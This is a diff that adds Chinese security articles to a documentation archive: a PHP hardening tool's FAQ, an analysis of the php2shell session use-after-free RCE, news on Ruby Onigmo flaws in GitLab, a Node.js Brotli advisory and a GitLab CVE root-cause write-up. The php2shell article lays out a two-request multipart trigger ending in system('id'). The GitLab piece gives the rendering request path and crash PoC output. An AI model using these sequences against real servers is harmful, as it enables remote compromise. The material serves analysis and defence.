+取决于提供程序与目标组件。部分原生策略动作会改变相关状态;许多文件配置需要重载、重启或外部激活。界面和报告中的写入结果不能代替实际运行验证。
+
+
+
+·
+ 回滚是否能够恢复所有影响?
+回滚恢复的是支持范围内、由本工具保存的变更前状态。它不能自动恢复已经丢失的业务数据、原进程内存或被外部操作激活的不可逆限制。多文件操作可能部分完成,需按事务结果执行恢复。
+
+
+
+·
+ 是否依赖外部策略文件或联网服务?
+运行规则由程序内嵌,核心操作不依赖联网服务。Linux 外部 JSON 策略用于复用规则选择和参数,属于可选方式,不能加入任意命令。部分动作仍需要目标系统已有的组件、工具、权限和运行条件。
+
+
+
+·
+ Linux 是否已经可以直接下载运行?
+Linux 版已提供下载,下载地址见“Linux 版:phphard 命令行工具”一节;首批面向 Ubuntu/Debian,目标环境的集成验收尚待完成,正式运行包以发布说明为准。
+
+
+## Linux 版
+##
+
+·
+
+deep 深度加固模式含容量裁剪与功能限制,执行前应在测试环境验证。
+
+
+
+·
+
+数值型建议(如
+ post_max_size、pm.max_children)必须按业务容量本地压测后配置,工具示例值不是通用阈值。
+
+
+
+·
+
+Linux 版已在 Ubuntu 20.04(PHP-FPM + systemd)实测;其他发行版、内核、systemd 组合及 FPM+Nginx、FPM+Apache、mod_php、容器、SELinux/AppArmor 场景尚未实测,上线前应按随附文档验证。
+
+
+
+·
+
+目标
+ systemd 版本过旧时部分沙箱指令不支持(如 ProtectClock 需 systemd 246 及以上),加固后验证会如实报告失败。
+
+
+
+·
+
+事务状态目录默认
+ /var/lib/phphard,需 root 可写。
+
+
+## Windows 版
+##
+
+·
+
+工具面向
+ Windows 10/11 x64 与 Windows Server 2016 及以后版本,尚未覆盖全部目标系统的真机验证。
+
+
+
+·
+
+195 项均已建立写入与恢复映射,但实际目标环境的逐项验收交由外部集成测试,映射数量不等于已验收数量。
+
+
+
+·
+
+7 个 PHP 布尔项适配 PHP 8.2–8.5(fatal_error_backtraces 仅 8.5),该门槛是执行器审核边界,不表示这些分支仍在安全支持期。
+
+
+
+·
+
+本版不自动发现完整
+ Web 配置加载链,不验证所有运行时有效值,不提供整机“一键恢复默认”;配置写入成功不等于漏洞已修复,统计数量不能换算成漏洞修复率。
+
+
+
+·
+
+事务机制为带预写备份的独占写入,不是断电原子事务,极端情况下可能留下部分内容,应保留部署方独立备份。
+
+
+
+·
+
+回滚须由执行变更的同一
+ Windows 用户完成;受保护目录的写入可能需要管理员权限。
+
+
+
+·
+
+内置知识为静态加密,密钥随程序存在,不能抵抗逆向提取,也不提供发布者数字签名保证。
+
diff --git a/doc/2026-10/php2shell漏洞全解析--带来的思考.md b/doc/2026-10/php2shell漏洞全解析--带来的思考.md
new file mode 100644
index 00000000..f330dfb8
--- /dev/null
+++ b/doc/2026-10/php2shell漏洞全解析--带来的思考.md
@@ -0,0 +1,101 @@
+# php2shell漏洞全解析--带来的思考
+原创 mkbksec
+ mkbksec 水刃安全 2026-10-24 09:16
+
+php2shell:PHP 底层 RCE 漏洞全解析
+
+前言
+
+为了避免面试再被拷打,深度分析了一下最近很火的
+php2shell,总结为实战不容易黑盒打出漏洞,也不存在通用poc对全网网站构成严重威胁,这个漏洞也给我们带来了思考。
+
+现在ai进化确实迅速,但是也带来了问题,很多ai小子他并不具备分辨漏洞的能力,不重视基础,过度信任ai,闹出了很多笑话,相信各大src厂商深受其害,ai可以帮我们更好的分析漏洞学习技术,但是不是我们能够完全依赖ai的理由,老实打好基础依旧重要,面试也不是一句都是ai打的就能把甲方糊弄过去。
+
+送给正在学习刚入行的师傅们一句话:希望大家在这个浮躁的时代能沉下心来认真学习挖掘漏洞的方法和原理,这样才能学的更好走的更远。
+
+ps:我不搞培训也不割韭菜,但是如果遇到实在解决不了的问题我看到了会回答,不要来问我有没有培训班了,语雀库是给朋友看的暂不接受付费进入,谢谢阅读。
+
+一、漏洞原理(源码级)
+
+1.1 漏洞在哪一行代码里
+
+漏洞根源在 ext/session/session.c
+ 的 php_session_track_init()
+。它在进程级全局变量里保存了一个指向请求堆的指针,但 OOM 时 longjmp 跳过清理:
+```
+static void php_session_track_init(void){ zend_string *var_name = ZSTR_INIT_LITERAL("_SESSION", 0); zval *session_var; /* 在全局符号表注册 $_SESSION */ session_var = zend_hash_add_new(&EG(symbol_table), var_name, &EG(uninitialized_zval)); ZVAL_NEW_REF(session_var, &EG(uninitialized_zval)); Z_ADDREF_P(session_var);// ★ 漏洞在这行 ★ // 进程级全局变量 → 指向请求堆上的临时对象 PS(http_session_vars) = Z_COUNTED_P(session_var); zend_string_release(var_name);}// 正常清理(RSHUTDOWN):// PS(http_session_vars) = NULL;// 但 OOM 的 longjmp() 跳过 RSHUTDOWN!// → 指针仍指向已释放内存 → 下一个请求 UAF
+```
+
+1.2 OOM 怎么触发 longjmp
+
+攻击者发送超大上传耗尽 memory_limit 时,走进 Zend/zend_alloc.c
+:
+```
+static ZEND_NORETURN void zend_mm_safe_error(...){ // 打印 "Allowed memory size exhausted" 后: zend_mm_fatal_error(...);longjmp(EG(bailout), FAILURE); // ★ 直接跳转回 php_execute_script // ★ 当前调用栈上的所有清理代码被跳过 // ★ 包括 session RSHUTDOWN 中的指针清零}
+```
+
+1.3 攻击者的完整触发序列
+```
+# 请求 A(生产者)— 建立悬空指针POST / HTTP/1.1Content-Type: multipart/form-data; boundary=BOUNDARY--BOUNDARYContent-Disposition: form-data; name="PHPSESSID"\x00 # 空ID → 新session + send_cookie=1--BOUNDARYContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"pwn # 触发 upload_progress 回调--BOUNDARYContent-Disposition: form-data; name="f"; filename="a.txt"AAAA # FILE_START → session_init() → 保存悬空指针--BOUNDARYContent-Disposition: form-data; name="big"BBBBBBBB... # 12MB → OOM → longjmp → 跳过清理 ★--BOUNDARY--# 请求 B(消费者)— 覆盖悬空指针 → RCEPOST / HTTP/1.1Content-Type: multipart/form-data; boundary=BOUNDARY--BOUNDARYContent-Disposition: form-data; name="PHPSESSID"attacksessionid0001--BOUNDARYContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"pwn # 无文件字段 → END cleanup 消费悬空指针--BOUNDARYContent-Disposition: form-data; name="a0..a14"[伪造的 HashTable] # 167字节×15个字段,pDestructor=zif_system--BOUNDARYContent-Disposition: form-data; name="f0"[伪造的 zend_reference] # 55字节,精确覆盖悬空指针--BOUNDARY--
+```
+
+1.4 最终 RCE 触发链
+```
+// B 请求的 END cleanup 调用链:php_session_track_init() → zend_delete_global_variable("_SESSION") → zend_hash_del_ind() → 跟随 IS_INDIRECT 到悬空指针 → zval_ptr_dtor(ref) // refcount 1→0 → zend_reference_destroy(ref) → zval_ptr_dtor(&ref->val) // 伪造的 IS_ARRAY_EX → zend_array_destroy(fake_ht) → zend_hash_destroy(fake_ht) → ht->pDestructor(&bucket->val) // = zif_system! → zif_system(fake_execute_data) // "id > /tmp/p1" → system("id > /tmp/p1") // ★ RCE
+```
+
+二、利用条件(缺一不可)
+
+✅ Apache + mod_php
+
+必须用 mod_php,不是 nginx+FPM
+
+✅ session.upload_progress.enabled = On
+
+PHP 出厂默认开启,但部分面板会关闭
+
+✅ multipart 上传能发进去
+
+WAF 不能拦截
+
+✅ PHP 版本未修复
+
+低于 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12
+
+✅ 有目标环境的堆布局参数
+
+最难一步——需白盒标定
+
+三、为什么实战目前打不了
+
+1. php-fpm 结构性免疫
+```
+// fpm_main.c — FPM worker 的请求循环while (fcgi_accept_request(&request) >= 0) { zend_try { // ... 请求处理 ... // 如果 OOM → longjmp 跳到这里 } zend_catch {// FPM 捕获了 bailout } zend_end_try;// ★ 无论是否 OOM,shutdown 总是执行 php_request_shutdown(); // → session RSHUTDOWN 清空指针 → 无残留 → 打不了// 对比 mod_php:Apache handler 吞掉 bailout// → shutdown 未被调用 → 指针残留 → 可利用
+```
+
+双版本实测(8.2.32/8.4.26):FPM 下 OOM 要么进程退出(无残留),要么完整清理(无残留)。
+
+2. 生产环境大量关闭了 upload_progress
+```
+# 宝塔面板默认 php.ini:session.upload_progress.enabled = Off# 我们实测的三个真实站点:1 → upload_progress OFF(WAF 还拦 multipart)2 → upload_progress OFF3 → upload_progress OFF + nginx/FPM
+```
+
+3. WAF 默认拦截攻击流量
+```
+# mod_security 默认规则即可拦截:SecRule REQUEST_BODY_LENGTH "@gt 10000000" "deny" # 12MB bodySecRule ARGS_COUNT "@gt 500" "deny" # 900+ 字段# 实测第一站:所有 multipart POST → 406
+```
+
+4. 堆布局参数不可通用
+```
+// stage3 需要 55B fake ref 落在 R0-0x10 处// 我们 Debian 12 靶场实测(与参考作者同构建):R0 = chunk + 0x24a0 // 悬空引用位置(恒定)55B落点 = chunk + 0x62068 // fake ref 实际落点(恒定)差值 = 0x5FBD8 (392KB) // ★ 永远对不上 ★// 参考作者 Docker 镜像中:差值 = 0(恰好对齐)// 二进制级复刻仍差 392KB → 内核 mmap 布局不同// → 黑盒拿不到,每个环境要 gdb 白盒标定
+```
+
+📊 一句话总结
+
+官方 Docker 镜像 + 未升级 = 能打
+
+其他环境 = 需白盒标定堆参数
+
+nginx+FPM / upload_progress 关 / WAF 拦 multipart = 直接放弃
+
+
diff --git a/doc/2026-10/【安全圈】Ruby正则引擎爆底层缺陷!4个GitLab满分RCE连环穿.md b/doc/2026-10/【安全圈】Ruby正则引擎爆底层缺陷!4个GitLab满分RCE连环穿.md
new file mode 100644
index 00000000..c93a1f7e
--- /dev/null
+++ b/doc/2026-10/【安全圈】Ruby正则引擎爆底层缺陷!4个GitLab满分RCE连环穿.md
@@ -0,0 +1,133 @@
+# 【安全圈】Ruby正则引擎爆底层缺陷!4个GitLab满分RCE连环穿
+安全圈
+ 安全圈 安全圈 2026-10-24 11:00
+
+
+
+**关键词**
+
+
+
+漏洞
+
+
+**核心事实**
+:Ruby 官方紧急发布 4.0.9、3.4.12 与 3.3.13 版本,修复语言内置正则表达式引擎 Onigmo 中的三处底层内存损坏缺陷。此前一个月内令全球 DevOps 运维彻夜难眠的 GitLab 连续 4 个致命远程代码执行漏洞(含两个 CVSS 10.0 满分漏洞),真正元凶正是由于 Ruby 引擎底座这一致命隐患
+
+
+
+
+## 🔍 连环引爆GitLab:从CI配置到服务器接管
+
+过去数周,开源代码托管巨头 GitLab 密集发布补丁,修复了一连串最高危害评级的 RCE 漏洞。白帽研究员 joaxcar 发现,攻击者只需提交特制的正则字符串,即可在 Ruby 编译阶段诱发内存破坏:
+- **CVE-2026-97229(CVSS 10.0)**
+:无需任何账号登录权限,即可通过特定接口注入畸形模式直接拿下服务器
+
+- **CVE-2026-110264(CVSS 10.0)**
+:危害范围覆盖 GitLab 7.0 至今的所有历史发行版,同样支持未认证远程代码执行
+
+- **前期两处 9.9 分高危缺陷**
+:允许具有低权限普通账户的恶意用户打通系统控制流
+
+此前每次 GitLab 紧急发版,背后的补救措施实质上都是临时打上特殊构建的 Ruby 定制补丁。直至本轮,Ruby 核心团队终于将引擎修复正式合入官方代码树
+## ⚠️ 不止GitLab:所有动态编译正则的应用皆在射程
+
+Ruby 官方在通告中发出明确技术警告:**该漏洞绝不仅仅局限于 GitLab**
+。任何在业务代码中利用外部用户输入动态构造正则表达式的 Ruby 应用程序,全部处于被攻击暴露面中
+
+具体高危调用包含以下几类常见模式:
+- 直接将用户输入传入 Regexp.new(params[:query])
+ 或 Regexp.compile()
+
+- 调用 Regexp.union()
+ 合并包含不受信任变量的规则集合
+
+- 在正则表达式字面量中进行字符串插值,如 /#{untrusted_input}/
+
+若应用仅使用研发人员在源码中硬编码编写的静态正则表达式,则不会受到该底层漏洞影响
+## ❌ 两种常见“土办法”完全无效
+
+针对很多团队试图通过常规防护手段进行缓解的尝试,官方特别明确指出了两项常见误区:
+- **设置 Regexp.timeout 毫无用处**
+:超时机制仅用于防范执行匹配阶段的 ReDoS 拒绝服务,而当前漏洞发生在**正则语法编译构建阶段**
+,根本不会触发超时中断
+
+- **限制正则字符串长度无法阻断**
+:研究证实,极短的构造模式同样能够击穿 Onigmo 的状态校验并触发内存崩溃
+
+## 🚨 扫描器盲区与紧急处置路线
+
+值得安全团队极度重视的是,**Ruby 官方暂未为自身申请独立的 CVE 编号**
+,而是建议企业参照 GitLab 的 CVE 编号进行追踪。这导致目前市面上大多数依赖 CVE 匹配的自动化资产扫描器,在扫描宿主机 Ruby 环境时会出现无报警漏报
+
+安全团队必须立即展开人工排查,落地以下处置规范:
+- **全量版本升级**
+:Ruby 4.0 必须升级至 4.0.9
+(同周发布的 4.0.8 遗漏了 CVE-2026-110264,切勿混淆),Ruby 3.4 升至 3.4.12
+,Ruby 3.3 升至 3.3.13
+
+- **淘汰老旧环境**
+:Ruby 3.2 及以下分支已于 2026 年 4 月 1 日彻底停止技术支持(EOL),官方不会提供任何补丁,建议即刻规划迁移
+
+- **代码层止血**
+:在升级完成前,业务系统应全面停用从外部不可信参数动态生成正则表达式的危险逻辑
+
+
+
+
+ END
+
+
+阅读推荐
+
+
+[【安全圈】PHP2Shell 遭百万次攻击,竟无一得手](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079470&idx=1&sn=1f84c3759d5f7bf34fcbd56949ea72a3&scene=21#wechat_redirect)
+
+
+
+[【安全圈】9.0 分 Linux 内核 RCE,被一封邮件捅穿](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079470&idx=2&sn=f760b577c0f307d90d16107d46ad7e9a&scene=21#wechat_redirect)
+
+
+
+[【安全圈】1177 万条!卡普空确认账号库被偷](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079470&idx=3&sn=4ed4671e35da838dae890d616c227665&scene=21#wechat_redirect)
+
+
+
+[【安全圈】老乡鸡小程序又崩了](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079459&idx=1&sn=9bbd43e57a372693618b7ed16c3c2af4&scene=21#wechat_redirect)
+
+
+
+[【安全圈】单连接打崩服务器!HTTP3曝4000倍内存放大漏洞](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079445&idx=1&sn=faa0a86fd9d2ee022af099b2286cf0d2&scene=21#wechat_redirect)
+
+
+
+
+
+
+
+
+
+
+**安全圈**
+
+
+
+
+←扫码关注我们
+
+**网罗圈内热点 专注网络安全**
+
+**实时资讯一手掌握!**
+
+
+
+
+**好看你就分享 有用就点个赞**
+
+**支持「****安全圈」就点个三连吧!**
+
+
+
+
+
+
diff --git a/doc/2026-10/【已复现】Node.js Brotli 解码器远程代码执行漏洞(CVE-2026-111497)安全风险通告.md b/doc/2026-10/【已复现】Node.js Brotli 解码器远程代码执行漏洞(CVE-2026-111497)安全风险通告.md
new file mode 100644
index 00000000..c2196702
--- /dev/null
+++ b/doc/2026-10/【已复现】Node.js Brotli 解码器远程代码执行漏洞(CVE-2026-111497)安全风险通告.md
@@ -0,0 +1,195 @@
+# 【已复现】Node.js Brotli 解码器远程代码执行漏洞(CVE-2026-111497)安全风险通告
+ 奇安信 CERT 2026-10-24 11:32
+
+●
+点击↑蓝字关注我们,获取更多安全风险通告
+
+
+漏洞概述
|
漏洞名称 | Node.js Brotli 解码器远程代码执行漏洞 |
漏洞编号 | QVD-2026-90335,CVE-2026-111497
|
公开时间 | 2026-10-22 | 影响量级 | 百万级 |
奇安信评级 | 高危 | CVSS 3.1分数 | 8.1 |
威胁类型 | 代码执行 | 利用可能性 | 高 |
POC状态 | 已公开 | 在野利用状态 | 未发现 |
EXP状态 | 已公开 | 技术细节状态 | 已公开 |
危害描述:攻击者可利用恶意 Brotli 数据破坏解码器相邻内存,可能导致:进程崩溃或拒绝服务;敏感内存内容泄露;在特定堆布局和利用条件下执行任意代码;以 Node.js 进程权限(容器场景下可能为 root)访问文件、环境变量、密钥和网络资源。 |
+
+
+**0****1**
+
+**漏洞详情**
+
+**>**
+**>**
+**>**
+**>**
+
+**影响组件**
+
+Node.js 是一个基于 Chrome V8 引擎的开源、跨平台 JavaScript 运行时,采用事件驱动、非阻塞 I/O 模型,适合构建高并发的 Web 服务、API 网关、微服务、Serverless 函数和命令行工具。它拥有庞大的 npm 包生态,支持通过中间件和插件快速扩展功能,广泛应用于企业 AI 助手、聊天机器人、内容服务和后端业务系统。Node.js 内置 Google Brotli 解码器(deps/brotli),并通过 zlib、fetch()/undici 及 Express 5/body-parser 2 等路径处理压缩数据。
+
+**>**
+**>**
+**>**
+**>**
+
+**漏洞描述**
+
+近日,奇安信CERT监测到官方修复
+Node.js Brotli 解码器远程代码执行漏洞(CVE-2026-111497),该漏洞位于 Google Brotli 解码器(c/dec/decode.c),并影响 Node.js 内置的 Brotli 解码器(deps/brotli)。恶意 Brotli 流可耗尽 block_length[2] 并触发非法块切换,旧版 BROTLI_SAFE 将其误判为“输入不足”,重试循环继续向 BrotliDecoderState.buffer.u8[] 追加数据,越界覆盖 buffer_length、pos、max_distance 等字段,造成内存破坏、敏感内存泄露和拒绝服务;特定布局下还可覆盖回调指针,导致远程代码执行。
+目前该漏洞PoC和技术细节已公开。
+鉴于该漏洞影响范围较大,建议客户尽快做好自查及防护。
+**>**
+**>**
+**>**
+**>**
+
+**利用条件**
+
+受内存布局(ASLR、堆状态、是否使用 Worker 等)影响,利用条件也是较为苛刻,很多公开 PoC 在标准环境下只能做到崩溃(DoS)或有限信息泄露。
+
+
+**02**
+
+**影响范围**
+
+**>**
+**>**
+**>**
+**>**
+
+**影响版本**
+
+1.1.0 <= Google Brotli < 1.1.1
+1.2.0 <= Google Brotli < 1.2.1
+
+Node.js 22.x < 22.23.4
+
+Node.js 24.x < 24.22.1
+
+Node.js 26.x < 26.12.1
+
+1.0.3 <= PyPI brotli < 1.2.1
+
+1.0.3 <= PyPI brotlicffi< 1.2.1.0
+
+Node.js 20.x、21.x、23.x、25.x 已停止维护,同样受该缺陷影响但不再提供修复。
+
+**>**
+**>**
+**>**
+**>**
+
+**其他受影响组件**
+
+用 Node.js 内置 deps/brotli 的官方二进制、容器镜像、SEA(Single Executable Application)和启动快照;
+动态链接系统 libbrotlidec 的发行版 Node.js 包;
+
+其他内置或动态链接受影响 Brotli 版本的运行时与应用(如 Bun ≤ 1.4.3,公开信息显示 1.4.4 修复)。
+
+
+
+**03**
+
+**复现情况**
+
+目前,
+奇安信CERT已成功复现
+Node.js Brotli 解码器远程代码执行漏洞(CVE-2026-111497)
+,截图如下:
+
+
+
+
+
+
+**04**
+
+**处置建议**
+
+**>**
+**>**
+**>**
+**>**
+
+**安全更新**
+
+官方已发布安全补丁,请及时更新至最新版本:
+Node.js 22.x >= 22.23.4
+
+Node.js 24.x >= 24.22.1
+
+Node.js 26.x >= 26.12.1
+
+Google Brotli >= 1.0.10
+
+Google Brotli >= 1.1.1
+
+Google Brotli >= 1.2.1
+
+下载地址:
+
+https://nodejs.org/en/download
+
+https://github.com/google/brotli/releases
+
+https://pypi.org/project/brotli/
+
+https://pypi.org/project/brotlicffi/
+
+缓解措施:
+
+1. 在边缘或应用层拒绝不需要的 Content-Encoding: br 请求体;
+
+2. 对不可信外部请求使用 Accept-Encoding: identity,并关闭客户端自动解压;
+
+3. 使用 WAF/网关规则拦截异常大的 br 请求体、异常 Brotli 流和已知攻击特征;
+
+4. 限制请求体大小、解压输出大小、处理超时和进程内存;
+
+5. 监控进程异常退出、SIGSEGV/SIGABRT、解码器错误和连接重置。
+
+
+
+**05**
+
+**参考资料**
+
+[1]https://nodejs.org/en/blog/vulnerability/october-2026-security-releases
+
+[2]
+https://www.imperva.com/blog/node2shell-from-brotli-data-to-remote-code-execution/
+
+
+
+**06**
+
+**时间线**
+
+2026年10月24日,奇安信 CERT发布安全风险通告。
+
+
+
+**07**
+
+**漏洞情报服务**
+
+「
+奇安信漏洞情报平台
+」
+重磅上线,诚邀您来体验:
+
+
+
+
+
+
+
+
+
+**奇安信 CERT**
+
+**致力于**
+第一时间为企业级用户提供**权威**
+漏洞情报和**有效**
+解决方案。
+
+
+
+点击↓**阅读原文**
+,到**ALPHA威胁分析平台**
+订阅更多漏洞信息。
+
diff --git a/doc/2026-10/十二年轮回:GitLab 满分 RCE 的解剖与警示.md b/doc/2026-10/十二年轮回:GitLab 满分 RCE 的解剖与警示.md
new file mode 100644
index 00000000..6a53bd07
--- /dev/null
+++ b/doc/2026-10/十二年轮回:GitLab 满分 RCE 的解剖与警示.md
@@ -0,0 +1,185 @@
+# 十二年轮回:GitLab 满分 RCE 的解剖与警示
+原创 网络安全民工
+ 网络安全民工 网络安全民工 2026-10-24 12:32
+
+### 一、漏洞全景:一个被忽略了十二年的满分缺口
+
+2026 年 10 月 21 日,GitLab 发布了一次计划外的紧急安全更新。CVE-2026-110264,CVSS 3.1 评分 **10.0**
+,未认证远程代码执行,影响范围从 **2014 年发布的 7.0 版本**
+一直延伸到修复版之前的每一个 CE/EE 自建实例——跨度整整十二年
+。评分向量 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+ 意味着:攻击者只需网络可达,无需任何凭据、无需用户交互,即可在 GitLab 服务器上以 git
+ 系统用户身份执行任意命令
+。
+
+这不是一次孤立的爆发,而是同一条断层线上第四次震动。同一研究员 joaxcar 在一个月内报告了四颗 Onigmo 相关漏洞:9 月 23 日的 CVE-2026-89078 与 CVE-2026-93577(需登录,9.9 分),10 月 12 日的 CVE-2026-97229(10.0 分,未认证),以及这次的 CVE-2026-110264。更棘手的是,**10 月 12 日针对 97229 的补丁(19.2.8 / 19.3.5 / 19.4.2)并不覆盖本次漏洞**
+——110264 的修复版本恰好都比前者高一个补丁号
+。按上次公告打完补丁的组织,此刻仍在射程之内。
+### 二、根因解剖:两处“看似无害”的代码,叠成一个满分漏洞
+
+CVE-2026-110264 的根因由两层缺陷叠加而成,缺一不可。
+#### 第一层:Org-mode 渲染层的正则注入(CWE-94)
+
+GitLab 通过 org-ruby
+(版本 0.9.12)渲染 .org
+ 文件。Org 格式支持 #+TODO:
+ 行来定义自定义待办关键字。问题出在 lib/org-ruby/headline.rb
+ 第 100 行附近
+:
+```
+# parser.rb 中,关键字在存入 @custom_keywords 之前经过了 Regexp.escape:
+keyword = Regexp.escape(keyword)
+@custom_keywords << keyword
+
+# 但在 headline.rb 的 parse_keywords 中,第二次构造正则时用的是“原始词”:
+@headline_text.sub!(Regexp.new("^#{@keyword}\\s*"), "")
+```
+
+
+@keyword
+ 来自 .org
+ 文件中的 #+TODO:
+ 行,是**攻击者完全控制的字符串**
+。它在进入 Regexp.new
+ 之前,**没有经过转义**
+。这意味着任何正则元字符({ } ( ) | * + .
+ 等)都会被当作活的正则语法解释。一个匿名用户只要能访问一个包含恶意 .org
+ 文件的公开项目,就控制了 Regexp.new
+ 的输入源
+。
+#### 第二层:Onigmo 的 repeat-ID 整数溢出(CWE-190 → CWE-787)
+
+Onigmo 是 Ruby 内置的正则引擎,GitLab 将其打包在 Omnibus/CNG 中并自行打补丁。在 Onigmo 的内部表示中,每一个量词重复(如 x{0,8}
+)都会被分配一个内部标识符,类型定义在 regint.h
+ 中:
+```
+typedef short int MemNumType; // 16-bit signed,范围 -32768 到 32767
+```
+
+编译器在计数时使用的是普通 int
+,但写入时通过 add_mem_num()
+ 做了一个**截断转换**
+存入 short
+。当一个正则中包含超过 **32,767 个区间重复**
+时,后续的 repeat ID 会回绕为负数。
+
+真正的危险发生在匹配阶段。负数的 repeat ID 会被当作数组下标,用于访问重复范围表和重复栈:
+```
+// regexec.c 中的越界读:
+reg->repeat_range[repeat_mem].lower // repeat_mem 为负
+
+// regexec.c 中的越界写:
+repeat_stk[mem] = GET_STACK_INDEX(stk) // mem 为负
+```
+
+由于 short
+ 的回绕范围,攻击者获得的是一个位于分配基址下方、窗口约 **[-256 KB, base)**
+ 的越界读写原语。这落在 Puma worker 堆中攻击者可以施加影响的内存区域。
+
+Ruby 官方的修复(commit 493d26dc
+)在编译阶段直接拒绝超过 32,767 个区间重复的模式
+:
+```
+reg->num_repeat++;
+if ((MemNumType)reg->num_repeat <= 0)
+ return ONIGERR_TOO_MANY_RANGE_REPEAT;
+```
+
+GitLab 通过 omnibus-gitlab!9922
+ 和 CNG!3168
+ 将这一修复反向移植进了其捆绑的 Ruby 3.3 / 3.4 / 4.0 运行时。
+### 三、PoC 与利用链:从匿名 GET 到堆越界的已验证路径
+#### 3.1 攻击向量:一次无需凭据的 HTTP 请求
+
+攻击的投递路径已经得到多方交叉印证。攻击者在公开项目的 .org
+ 文件中植入恶意 #+TODO:
+ 关键字,然后触发 GitLab 的富文本查看器渲染该文件:
+```
+GET //-/blob/main/file.org?format=json&viewer=rich
+```
+
+无需 token、无需 session、无需 cookie
+。Censys 的独立分析同样确认,攻击只需要“一个可以承载 .org 载荷的公开项目”
+。GitLab 自家的检测规则命名——“Onigmo native worker crash”和“Org mode render error burst”——也从侧面指向了 Org 渲染路径
+。
+#### 3.2 崩溃级 PoC:确定性触发内存破坏
+
+TahuCryptsi 仓库提供了一个**在 Ruby 3.4.11(GitLab 捆绑版本线)上 Docker 验证过的崩溃 PoC**
+。其核心逻辑是构造一个包含超过 32,767 个 {n,m}
+ 区间重复的正则,触发 repeat-ID 回绕,并在匹配阶段产生原生段错误。
+
+该仓库的验证输出明确记录了崩溃签名:
+```
+[*] CVE-2026-110264 Onigmo repeat-ID overflow -- PoC driver
+[*] running probe in vulnerable runtime (ruby:3.4-slim == 3.4.11)...
+COMPILE: accepted (no guard) -- vulnerable path
+[+] VERDICT: VULNERABLE -- native SIGSEGV inside Onigmo (repeat-ID wrap, RSI=0xffff8000)
+```
+```
+0xffff8000
+short
+system()
+```
+
+googlesky 仓库则提供了一个更完整的 **PoC 框架 v2.1**
+,包含版本指纹、恶意 .org
+ 文件模板(loud + stealth 两种)、未认证渲染 oracle、本地根因复现环境,以及在 GitLab CE 19.3.1 上的实时验证证据
+。其验证显示,恶意 .org
+ 渲染请求的客户端差分延迟为 **10–19 秒**
+,而良性请求仅 **0.1 秒**
+,并在服务端日志中留下了 Timeout::Error / OtherMarkup / .org unauth
+ 的痕迹。同样地,该仓库也标注“完整的堆 groomed system()
+ 仍是逐构建的武器化后续工作”。
+#### 3.3 从崩溃到代码执行:尚未公开的最后一公里
+
+公开材料一致描述了从越界写原语到代码执行的路径轮廓:通过**请求体 shaping 来 groom Puma worker 堆**
+,使负索引越界写落入攻击者可控的内存区域,进而将 Onigmo 的回溯栈或原生返回地址重定向至 system()
+,最终以 git
+ 用户执行命令
+。但**这一完整链路的工程化细节没有被任何公开来源披露**
+。Rapid7 在同源的 CVE-2026-97229 上曾实现过一天内的武器化,但 110264 的同等利用代码并未公开。
+
+因此,对“完整 POC”的诚实结论是:**公开可得的 PoC 证明了漏洞的真实性和可利用的投递面,但未提供开箱即用的 RCE 利用**
+。任何声称拥有完整未认证 RCE PoC 的来源,都应持高度审慎态度。
+### 四、修复与防御:比“打补丁”更复杂的现实
+#### 4.1 版本对照:必须逐个比对,且要覆盖“打过的那一批”
+
+修复版本按分支如下:
+| 分支 | 受影响 | 修复版 |
|---|
| 19.5 | < 19.5.1 | 19.5.1 |
| 19.4 | < 19.4.3 | 19.4.3 |
| 19.3 | < 19.3.6 | 19.3.6 |
| 19.2 | < 19.2.9 | 19.2.9 |
| 19.1 | < 19.1.9 | 19.1.9 |
| 19.0 | < 19.0.10 | 19.0.10 |
| 7.0 – 18.11 | < 18.11.13 | 18.11.13 |
+**10 月 12 日针对 CVE-2026-97229 发布过的 19.2.8 / 19.3.5 / 19.4.2,全部低于上述对应分支的修复版,必须重新升级。**
+ 7.0 至 18.11 之间的实例没有中间停靠站,只能直接跳到 18.11.13。
+#### 4.2 没有 Workaround,但有可部署的检测
+
+GitLab **没有提供临时缓解措施**
+,也没有公开具体的触发前置条件。在无法立即升级的窗口内,可操作的手段限于网络层收缩和检测:
+- **收缩暴露面**
+:将 GitLab 实例从公网移至可信 IP 段之后。这不能替代补丁,但可以消除匿名攻击者触达 Org 渲染路径的可能性
+。
+
+- **部署 GitLab 官方 Sigma 规则**
+(TLDR 框架):“Onigmo native worker crash”和“Org mode render error burst”
+。前者捕获的是**利用尝试失败时产生的原生 worker 崩溃**
+——攻击者试探或利用未遂时会留下这个信号。后者针对 Org 渲染错误率的异常突增。审阅历史日志,寻找意外的 worker 崩溃和渲染错误爆发,是回答“有没有被试探过”的最直接方式。
+
+- **事后排查迹象**
+:关注 Puma 的异常子进程、/tmp
+ 下属于 git
+ 用户的新文件、git
+ 用户 crontab 或 SSH key 的非预期变更
+。若出现这些迹象,应按**已失陷**
+处理,轮换 gitlab-secrets.json
+ 中的全部密钥、CI/CD 变量、runner token 和访问令牌。
+
+### 五、写在最后:这不是一颗“意外的”漏洞
+
+CVE-2026-110264 的十二年生命周期,暴露的不是某一行代码的疏忽,而是**“应用层信任了不该信任的字符串,运行时层把一个有界类型当成了无界容器”**
+ 这一结构性缝隙被长期无视。Org 渲染层的 Regexp.new
+ 用原始字符串构造正则,是一个典型的应用安全缺陷;Onigmo 的 short
+ 截断,是一个典型的底层类型缺陷。单独看,两者都可以被“输入校验”或“边界检查”在各自层面缓解;叠在一起,却产生了一个 CVSS 10.0、无缓解、覆盖十二年版本的满分缺口。
+
+joaxcar 一个月内四颗同源漏洞,说明这条缝隙不是偶发,而是系统性的。对自建 GitLab 的组织而言,当前的优先级判断很简单:**比对版本,重新比对版本,升级,然后假设可能已经被试探过。**
+ 没有 PoC 不等于没有攻击者——只是在公开视野之外,武器化的进度不为所知。
+
+
+
+
